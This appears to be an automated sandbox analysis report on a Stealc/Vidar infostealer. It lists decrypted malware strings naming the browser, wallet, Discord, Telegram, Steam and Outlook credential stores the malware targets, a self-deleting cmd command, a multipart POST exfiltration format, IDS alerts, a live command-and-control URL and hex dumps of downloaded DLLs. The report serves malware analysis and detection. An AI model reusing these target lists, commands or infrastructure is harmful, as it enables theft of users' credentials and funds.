Source: 0.2.file.exe.c80000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: open
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: files
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: browsers
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: done
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: https
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: build
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: token
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: file
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: message
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5A6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C5A6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:50461 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.5:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50386 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.164.15:443 -> 192.168.2.5:50395 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:50407 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:50423 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:50436 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:59733 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2482184054.000000006C7CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2459973983.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2482500766.000000006C891000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2041928747.00000000053BB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2459973983.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2482500766.000000006C891000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2041928747.00000000053BB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2482184054.000000006C7CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 40MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	TCP traffic: 192.168.2.5:59639 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:50379 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 02:04:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 02:04:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 02:04:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 